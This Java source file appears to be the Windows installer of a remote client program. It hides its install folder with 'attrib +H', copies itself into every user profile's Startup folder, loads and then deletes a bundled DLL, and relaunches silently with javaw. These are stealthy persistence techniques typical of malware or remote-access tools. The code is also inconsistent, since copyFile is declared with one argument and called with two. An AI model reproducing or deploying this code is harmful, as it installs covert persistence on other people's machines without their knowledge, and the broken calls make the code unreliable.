package client.platformdependant;

import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;

import client.miscelaneous.ZipUtility;

public class WindowsDependant extends PlatformDependant {

	private WindowsDependant(){}
	private static WindowsDependant instance = null;
	
	public static WindowsDependant getWindowsInstance()
	{
		if (instance == null)
			instance = new WindowsDependant();
		return instance;
	}
	
	private String getJarPath()
	{
		File f = new File(WindowsDependant.class.getProtectionDomain().getCodeSource().getLocation().getPath());
        return f.getAbsolutePath();
	}
	
	private static void copyFile(String from)
	{
		FileInputStream fReader = null;
		FileOutputStream fWriter = null;
		int pos = from.lastIndexOf('/');
		int c;
		String fname = from.substring(pos+1);
		try
		{
			fReader = new FileInputStream(from);
			File f = new File(System.getProperty("user.home")+"/"+directoryName);
			if (!f.exists())
				f.mkdir();
			fWriter = new FileOutputStream(System.getProperty("user.home")+"/"+directoryName+"/"+clientName);
			while ((c = fReader.read())!=-1)
			{
				fWriter.write(c);
			}
			fReader.close();
			fWriter.close();
		}
		catch(Exception e){e.printStackTrace(); return;}
		
	}
	
	private void install()
	{
		String installationDir = System.getProperty("user.home")+'\\'+directoryName;
		File f = new File(installationDir);
		if (!f.exists())
		{
			f.mkdir();
			try
			{
				Runtime.getRuntime().exec("attrib +H " + installationDir);
			}
			catch(Exception e){
				System.err.println("Failed to set installation directory hidden: " + "attrib +H " + installationDir);
			}
		}
		String path = getJarPath();
		f = new File(System.getProperty("user.home")+"/"+directoryName+"/"+clientName);
		if (!f.exists())
			copyFile(path,System.getProperty("user.home")+"/"+directoryName+"/"+clientName);
		String temp = System.getProperty("user.home");
		int pos1 = temp.lastIndexOf('/');
		int pos2 = temp.lastIndexOf('\\');
		int pos = pos1 > pos2 ? pos1 : pos2;
		f = new File(temp.substring(0,pos));
		File [] fs = f.listFiles();
		File user;
		File instFile;
		for (File tmp : fs)
		{
			if (tmp.isDirectory())
			{
				user = new File(tmp.getAbsolutePath()+"\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup");
				if (user.exists())
				{
					instFile = new File(user.getAbsolutePath()+'\\'+installerName);
					if (!instFile.exists())
						copyFile(path,instFile.getAbsolutePath());
				}
			}
		}
	}
	
	private void startCopy()
	{
		try
		{
			Runtime.getRuntime().exec("javaw -jar " + System.getProperty("user.home")+"/"+directoryName+"/"+clientName);
			System.out.println("Closing installer file");
			System.exit(0);
		}
		catch(Exception e)
		{
			System.err.println("Failed to run newly installed client");
		}
	}
	
	@Override
	public void installStartup() 
	{
		String fullpath = getJarPath();
		if (fullpath.contains(clientName) || !fullpath.endsWith(".jar"))
		{
			System.out.println("Installation unnecessary");
			return;
		}
		else
			System.out.println("Installing...");
		String homeDir = getHomeDirectory();
		System.out.println("Application home directory: "+homeDir);
		System.out.println("fullpath: "+fullpath);
		try
		{
			ZipUtility.unzip(new File(fullpath), new File(homeDir), "WinRegInstaller.dll");
			System.out.println("WinRegInstaller.dll unzipped to: "+homeDir);
			System.load(homeDir+"\\WinRegInstaller.dll");
			//copyFile(fullpath);
			install();
			File f = new File (homeDir+"/WinRegInstaller.dll");
			if (f.exists())
				f.delete();
			System.out.println("Installation finished");
			startCopy();
		}
		catch(Exception e)
		{
			System.err.println("Failed to install startup for Windows");
			e.printStackTrace();
		}
	}

	@Override
	public String getHomeDirectory() {
		String jarPath = getJarPath();
		int n = jarPath.lastIndexOf('/');
		int m = jarPath.lastIndexOf('\\');
		if (n < m) n = m; //n is bigger
		return jarPath.substring(0, n);
	}

	
}
